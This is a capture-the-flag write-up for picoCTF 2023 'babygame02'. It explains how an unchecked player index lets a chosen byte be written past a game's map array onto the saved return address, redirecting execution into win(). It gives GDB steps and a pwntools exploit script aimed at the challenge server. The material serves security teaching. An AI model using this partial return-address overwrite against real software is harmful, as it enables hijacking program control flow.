Skip to main content

babygame02 picoCTF 2023 Solution

Set the player tile to the low byte of win(), then walk out of bounds until that byte lands on the saved return address.

Published: April 26, 2023Updated: August 25, 2026

Description

An extension of babygame01. Use the L command to set your character to 0x70 (the letter p), then move out-of-bounds past the end of the map array to overwrite a single byte of the saved return address, which sits above the array in the same stack frame. This redirects execution into the win() function and prints the flag.

Download the binary and run it locally to understand the game mechanics. Get the files from the challenge page on CyLab Security Academy (formerly play.picoctf.org).

Install pwntools and GDB with pwndbg.

bash
chmod +x game
bash
pip3 install pwntools

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Map the game state and find win()
    Observation
    This is described as an extension of babygame01, where an out-of-bounds player index already clobbered an adjacent variable. The same unchecked-index primitive is here, aimed at something more valuable than a data byte: the saved return address.
    Run the game to learn the controls, then open it in Ghidra or GDB. Locate the win() function (it opens and prints flag.txt) and note its address. The challenge sets up a single-byte overwrite, so the only byte you need is win()'s low byte, which is 0x70 - that is why the intended solution sets the player character to 'p' (0x70).
    bash
    ./game
    bash
    gdb ./game
    bash
    # In GDB: info functions win   ; disas win   ; disas main
    Learn more

    babygame01 and babygame02 share the same bug: the game uses the player's coordinates to index the map array board[player_y][player_x] without a bounds check, so an out-of-range coordinate writes the player's character byte into memory adjacent to the array. In babygame01 the adjacent target was a plain win variable and the default character (@ = 0x40) was already the value the win check wanted.

    What babygame02 escalates. Instead of corrupting a data variable, you aim the same out-of-bounds write at the saved return address on the stack and partially overwrite it so the function returns into win() rather than its real caller. There is no stack canary in this binary, so nothing stops a return-address write.

    (gdb) info functions win
    0x00000000004...70  win   <- note the low byte: 0x70 = 'p'
    (gdb) disas main          <- find the call after which control returns
  2. Step 2Set the player character to win()'s low byte
    Observation
    The game exposes a command to change the player character, and that character is exactly the byte the out-of-bounds write stamps. To put 0x70 onto a return-address byte, first make 0x70 the character.
    Use the L command to set the player character to 0x70 ('p'). From now on every move stamps 0x70 into board[player_y][player_x], including the out-of-bounds cells you are about to reach. This is the one place babygame02 differs from babygame01, where the default '@' (0x40) was already correct and changing the character was a mistake.
    bash
    # In the running game, press L and supply the character 'p' (0x70)
    bash
    # Confirm the player tile now renders as 'p'
    Learn more

    The single-byte partial overwrite works because win() and the legitimate return address differ only in their low byte. The low byte of any address inside the program image is fixed (it is the page offset), so even if the binary is position-independent you can change just that one byte and reliably land inside win(). Planting 0x70 is therefore enough to redirect the return.

    Why a single byte. The game stamps exactly one character byte per move. Overwriting more than one byte of the return address would require landing the upper bytes too, which the game cannot control move by move. The challenge is designed so the win target is reachable with a one-byte change.

  3. Step 3Find the offset from the map base to the saved return address
    Observation
    As in babygame01, the write reaches adjacent stack memory at a fixed offset from the map array base. Hitting the saved return address means knowing that offset, so it can be turned into a precise sequence of moves.
    In GDB, break inside the move handler, print the address of the map array (&board) and the address of the saved return address slot (the cell holding the return address for the function whose frame contains board). Subtract to get the byte offset. babygame01 reached its win variable at a negative offset (4 bytes before the array) by walking left off column 0; the saved return address sits at its own fixed offset, so compute it rather than assume a direction.
    bash
    # In GDB, at the move handler:
    bash
    # p &board
    bash
    # x/16gx $rsp        (or inspect the frame to locate the saved return address slot)
    bash
    # p (long)<ret_addr_slot> - (long)&board
    What didn't work first

    Tried: Hardcode absolute stack addresses read from one GDB run into the move math.

    ASLR randomizes the stack base on every execution, so absolute addresses shift run to run. Only the offset between the map array and the saved return-address slot is stable, fixed at compile time by the frame layout. Work from the difference between the two addresses, never from either value alone.

    Tried: Assume each move advances 4 bytes because the cells look like ints.

    Each step changes one coordinate by a single cell: a row step moves a full board width through the row-major array, a column step moves one byte. Decompose the target offset into row and column moves using the real board width from the binary, not an assumed stride.

    Learn more

    C stores board[H][W] in row-major order, so the byte atboard[r][c] lives at r*W + c bytes from the array base. Because the player index is unchecked, you can drive(player_y, player_x) to coordinates whose linear offset equals the distance to the saved return-address byte, and the next stamp writes0x70 there.

    (gdb) p &board
    $1 = (char (*)[W]) 0x7fff...e0d0      <- map base (illustrative)
    (gdb) p (long)<ret_slot> - (long)&board
    $2 = <byte offset>                    <- distance to the saved return address
    
    down_moves  = offset / WIDTH
    right_moves = offset % WIDTH          <- decompose into key presses

    The addresses are illustrative; ASLR and the compiler version shift them, so re-read &board and the return-address slot in your own GDB session. The relative offset is what carries between runs.

  4. Step 4Overwrite the return address byte and return into win()
    Observation
    With the character set to 0x70 and the move count known, walking that many out-of-bounds steps stamps 0x70 onto the low byte of the return address, and the next function return lands in win().
    Drive the game with pwntools: set the character to 0x70 with L, walk the computed out-of-bounds move sequence so the stamp overwrites the saved return address low byte, then let the game function return. Execution jumps into win(), which reads flag.txt on the remote server and prints the flag. Locally you will see 'flag.txt not found', so run the exploit against the remote instance.
    python
    python3 exploit.py

    Expected output

    picoCTF{...}
    # exploit.py
    from pwn import *
    
    p = remote("saturn.picoctf.net", 1337)   # or process("./game") locally
    
    # 1) Set the player character to 0x70 ('p') = win()'s low byte
    p.recvuntil(b"move:")
    p.sendline(b"L")
    p.sendline(b"p")
    
    # 2) Walk the out-of-bounds move sequence computed in GDB so the stamp
    #    lands on the saved return address low byte (counts are build-specific).
    moves = b"s" * DOWN_MOVES + b"d" * RIGHT_MOVES  # matches offset/WIDTH and offset%WIDTH
    for m in moves:
        p.recvuntil(b"move:")
        p.sendline(bytes([m]))
    
    # 3) Let the function return -> control flows into win()
    p.interactive()
    What didn't work first

    Tried: Send every keystroke at once with a single p.send() burst.

    Sending every move in one write outruns the game loop, which consumes input a tick at a time. Moves get dropped, the player lands on the wrong coordinate, and the stamp misses the return-address byte. Send one move per tick, after the prompt, so each keystroke registers against the right board state.

    Tried: Overwrite two or more bytes of the return address to be safe.

    The game stamps one byte per move and cannot touch the upper bytes of the address, so a multi-byte write is neither possible nor necessary. win() and the real return target differ only in their low byte, which makes a single stamp the whole exploit. Writing further just walks the index onward and segfaults.

    Learn more

    When the function whose frame holds the map array returns, the CPU pops the saved return address you just edited. Because its low byte is now0x70, that address points into win(), which opensflag.txt and prints it. There is no canary check between the overwrite and the return, so nothing intervenes.

    ... game loop runs, you stamp 0x70 over ret low byte ...
    function epilogue:
      leave
      ret            ; pops the edited return address -> win()
    win():
      open("flag.txt"); puts(flag);

    For the heap-side cousin of clobbering a saved pointer (free, realloc, overwrite a function pointer), see Heap exploitation for CTF. For more pwntools idioms (process(), remote(), interactive mode), see Pwntools for CTF.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{...}

This challenge was not solved during the competition. Follow the steps above to reproduce the solution.

Key takeaway

An out-of-bounds array write with an unchecked index is a write primitive, and where it points decides how serious it is. babygame01 used it to set an adjacent win flag; this one aims the same primitive at the saved return address and redirects execution with a single-byte partial overwrite. Partial overwrites work precisely because the low byte of any in-image address is fixed, so one controlled byte often retargets a return even under ASLR or PIE. The same unchecked-index root cause drives real CVEs in parsers, game engines, and network daemons.

Related reading

Useful tools for Binary Exploitation

Where to go next